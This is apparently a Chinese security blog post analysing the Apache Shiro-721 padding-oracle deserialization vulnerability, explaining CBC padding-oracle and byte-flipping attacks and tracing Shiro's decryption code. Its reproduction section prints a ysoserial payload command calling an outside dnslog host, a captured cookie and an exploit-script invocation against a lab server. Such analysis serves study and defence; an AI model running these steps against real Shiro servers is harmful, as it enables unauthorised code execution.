前置知识

CBC模式

首先我们可以看一下CBC模式的流程图

1.jpeg

初始化向量IV和第一组明文XOR后得到的结果作为新的IV和下一组明文XOR,按这样循环下去就得到结果。解密是加密的逆过程,也就是密文被Key解密为中间值,然后中间值与IV进行XOR运算得到该分组对应的明文

2.jpeg

PKCS #5

上面说到了CBC模式是分组解密,那么到最后一组的时候可能就长度就不足了,这个时候就需要填充。对于采用DES算法加密的内容,填充规则是PKC #5,而AES是 PKC #7,这两者唯一区别是PKCS #5填充是八字节分组而PKCS #7是十六字节。

具体填充方式如下图

3.jpeg

最后一组剩下n个就填几个0xn

Padding Oracle Attack

Padding Oracle Attack是针对CBC链接模式的攻击,和具体的加密算法无关

在看下面内容时 , 得先知道这些名词的含义 :

  • RawIV : 原始的IV , 解密时即为前一个密文分组 .
  • FuzzIV : 枚举的IV , 下文会通过枚举 IV 的方式来计算出明文的值
  • Key : 密钥
  • PlainText : 明文分组
  • CipherText : 密文分组
  • MediumValue : 我们把 CipherTextKey 进行 Block_Cipher_Decryption 运算后的值称为 MediumValue( 中间值 )

在解密时 , CipherText 会被密钥 Key 解密为 MediumValue , 然后 MediumValue 会与 RawIV 进行异或运算 , 得到该分组对应的 PlainText

但是我们不需要去解密( 如前文所说 : Oracle 的核心是提交数据让服务端解密 , 并验证解密后明文分组的 Padding 是否符合规范 ) , 因此我们创建一个新的 IV ( 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 ) 作为 FuzzIV , 并结合 CipherText 提交给服务端。

服务端会将接收到的 FuzzIV 与 解密后的 MediumValue 进行异或运算 , 得到一个明文分组(这里的明文分组不是指PlainText , 它只是用于验证异或计算结果是否满足 PKCS5Padding 规范) , 然后去验证这个明文分组的 Padding 是否有效。

在某一轮解密中 , 服务端异或运算后的明文分组为 0x29 0x34 0x5A 0x6B 0x07 0xA3 0xB2 0x3C , 这个分组的 Padding 不满足 PKCS5Padding 规范 , 因此这轮解密中提交的 FuzzIV 是无效的 , 服务端会返回 “密文有效 , 填充无效” 的报错信息。

不断修正 FuzzIV 的值( 0x00 - 0xFF , 最多修正 255 次 ) . 直到某一轮解密中 , 服务端异或运算后的明文分组为 0x39 0x73 0x23 0x32 0x5A 0x7B 0x9C 0x01 , 这个 Padding 符合 PKCS5Padding 规范 , 因此这轮提交的 FuzzIV 是有效的 . 服务端会返回 “密文有效 , 填充有效” 的信息。

当获取了有效的 FuzzIV 后我们能做什么呢 ? 我们能够根据等价代换得到如下公式 :

1
2
∵   FuzzIV[8]   ^   MediumValue[8]   =   0x01
∴ MediumValue[8] = FuzzIV[8] ^ 0x01

MediumValueRawIV 的异或运算结果就是真正的明文,存在如下公式 :

1
2
∵   MediumValue[8]   ^   RawIV[8]   =   PlainText[8]
∴ PlainText[8] = RawIV[8] ^ FuzzIV[8] ^ 0x01

FuzzIV[8] , RawIV[8] 都是已知的 , 因此我们可以直接计算出 plainText[8]的值 . 这就是 Padding Oracle Attack 的攻击原理

同理我们可以计算出plainText[7]的值

1
2
3
4
∵   FuzzIV[7]   ^   MediumValue[7]   =   0x02
∴ MediumValue[7] = FuzzIV[7] ^ 0x02
∵ MediumValue[7] ^ RawIV[7] = PlainText[7]
∴ PlainText[7] = RawIV[7] ^ FuzzIV[7] ^ 0x02

后面的过程都是类似的 , 我们可以通过这种 Padding Oracle 的方法获取每一位明文的值

CBC Byte-Flipping Attack

通过Oracle可以在不知道key的情况下得到全部明文的值,有没有什么可以篡改明文的值呢,这里就需要用到CBC字节翻转攻击,原理就是通过损坏密文字节来改变明文字节

漏洞复现

首先生成一个URLDNS payload

1
java -jar ysoserial-0.0.5.jar URLDNS "http://m1y3uh.dnslog.cn" > payload.ser

然后我们需要一个合法的用户RememberMe Cookie,通过Burpsuite抓包获得

1
rememberMe=mS/W4Ko16uqItdZWwUnf/zSXUVLIoZk4e9aCeHgFB6LTwMkLJiQykvdK2EpMMz0oUPHQMAsNbw0fBMU0BSf2QxAWghMPhrusV7wiqI5edlrnaSwRt3++Gg7x2+cvlQdcLA2CiHkwCiPQsUGaues7KHoEq9SLHHJY3esGu2kpwcWokf0WWEymn1PN7DHnI3eZkrkvEozEp6vimuDQJ+28jeeD0vtOYjlpYXs8P8ucVhE3u51g7nbwqporXBkGzKVdEAABhFd6/dCkV2/HMjBty7bgV6MSV4WKfpGHlC6MyLZlOp5TmIZYlQQb3Wqxr6eJ0TsxTmxMzJT0ve1/D/4mVE+s8SMcEEQsaF+WudKR3HNJr40ndhv/JOu5iKhMpy26AAAAAAAAAAAAAAAAAAAAAA==

然后开始利用,exp地址

1
python shiro_exp.py "http://10.17.0.82:8080/samples_web_war/" "mS/W4Ko16uqItdZWwUnf/zSXUVLIoZk4e9aCeHgFB6LTwMkLJiQykvdK2EpMMz0oUPHQMAsNbw0fBMU0BSf2QxAWghMPhrusV7wiqI5edlrnaSwRt3++Gg7x2+cvlQdcLA2CiHkwCiPQsUGaues7KHoEq9SLHHJY3esGu2kpwcWokf0WWEymn1PN7DHnI3eZkrkvEozEp6vimuDQJ+28jeeD0vtOYjlpYXs8P8ucVhE3u51g7nbwqporXBkGzKVdEAABhFd6/dCkV2/HMjBty7bgV6MSV4WKfpGHlC6MyLZlOp5TmIZYlQQb3Wqxr6eJ0TsxTmxMzJT0ve1/D/4mVE+s8SMcEEQsaF+WudKR3HNJr40ndhv/JOu5iKhMpy26AAAAAAAAAAAAAAAAAAAAAA==" payload.ser

最后得到可利用的RememberMe Cookie
4.png

然后开始利用
5.png

6.png

漏洞分析

7.png

跟进convertBytesToPrincipals方法

8.png

这里首先会判断有无密钥服务对象(CopherService),有就使用decrypt方法

跟进getCipherService方法

9.png

跟进decrypt方法,这里面是AES解密方法

10.png

跟进JcaCipherService#decrypt方法

程序在这里会调用getInitializationVectorSize方法获取IV长度

11.png

然后在new byte处获取一个iv对象

接着调用了arraycopy函数

1
2
3
4
5
6
7
Java.lang.System.arraycopy(Object src, int srcPos, Object dest, int destPos, int length)
概念 : 将源数组中从指定位置开始的数据复制到目标数组的指定位置 .
src : 源数组
srcPos : 源数组要复制的起始位置
dest : 目的数组
destPos : 目的数组放置的起始位置
length : 复制的长度

12.png

现在就得到了新的密文encrypted,这也是真正的密文,之前ciphertext只是base64解密后的密文,最后就调用JcaCipherService#decrypt的重载方法

13.png

这里调用 JcaCipherService#crypt方法进行解密 , 继续跟进

14.png

这里new了一个initNewCipher类,作用是提供了一些加密解密的方法

接着调用JcaCipherService#crypt方法

15.png

这里调用了doFinal方法

16.png

AESCipher#engineDoFinal会判断是否Padding成功,回到JcaCipherService#crypt,如上一个图,如果Padding失败就会抛出异常Unable to execute ‘doFinal’ with cipher instance。回到getRememberedPrincipals方法

18.png

convertBytesToPrincipals抛出异常了就会被catch捕获,使用onRememberedPrincipalFailure方法处理,跟进

19.png

跟进forgetIdentity,在当前类并没有实现该方法,在CookieRememberMeManager类中继承了该类实现了forgetIdentity方法,跟进

20.png

继续跟进forgetIdentity

21.png

跟进removeFrom方法

22.png

这里的value值为DELETED_COOKIE_VALUE即deleteMe

23.png

所以如果Padding失败,那么就会返回一个Cookie: RememberMe=deleteMe,那么Padding成功有什么特征呢

Java原生反序列化是按照约定的格式读取序列化数据,一步一步反序列化的也就是如果在序列化数据后面加入一些数据,是不会影响反序列化的。也就是说我们可以利用一个已有的rememberMe cookie值(AES加密的序列化数据),在其后加入一段数据,只要ASE能正确解密数据,就可以被反序列化。

所以这里布尔条件就出来了

  1. padding失败,返回一个cookie: rememberMe=deleteMe;
  2. padding成功,返回正常的响应数据

最后payload的构造就是不断的用两个block去padding得到intermediary之后,构造密文使得解密后得到指定明文,最后拼接到原有的cookie上。

exp: https://github.com/3ndz/Shiro-721

参考链接

https://www.guildhab.top/2020/11/cve-2019-12422-shiro721-apache-shiro-rememberme-padding-oracle-1-4-1-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e-%e5%88%86%e6%9e%90-%e4%b8%8a/

https://www.guildhab.top/2020/12/cve-2019-12422-shiro721-apache-shiro-rememberme-padding-oracle-1-4-1-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e-%e5%88%86%e6%9e%90-%e4%b8%8b/

https://www.const27.com/2021/02/19/Padding%20oracle%20Attack%E4%B8%8ECBC%E7%BF%BB%E8%BD%AC%E5%AD%97%E8%8A%82%E6%94%BB%E5%87%BB/

https://0day.design/2020/03/08/Shiro%20Padding%20Oracle%20Attack%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://www.anquanke.com/post/id/193165#h2-11